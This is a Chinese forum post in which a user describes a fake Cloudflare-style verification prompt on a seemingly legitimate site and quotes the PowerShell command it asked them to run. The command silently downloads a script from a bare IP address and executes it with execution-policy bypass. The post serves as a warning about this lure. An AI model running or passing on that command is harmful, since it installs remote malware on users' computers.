这是一个创建于 201 天前的主题，其中的信息可能已经有所发展或是发生改变。
让我执行的命令
powershell -w h -c "$u='http://83.217.209.227/2UP.lim';$p=\"$env:USERPROFILE\Music\d.ps1\";(New-Object System.Net.WebClient).DownloadFile($u,$p);powershell -w h -ep bypass -f $p"
我还想着 CF 什么时候这么狠了，居然让用户执行 Shell 验证（第一反应以为是想让用户通过 Shell 往服务器上 POST 一些东西来证明不是 robot ），看到这里面的 URL 居然直接用 IP 地址而且没有 https ，还好多了个心眼。
想看看这脚本到底是啥，直接打开上面那个 URL 被卡巴斯基拦截了。
不过现在好像已经 404 了，不知道是不是会判断 UA 啥的，用浏览器打开就 404 。
关键是，这理应是个正规站（所以一开始我心理没设防），难道是被黑了？
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。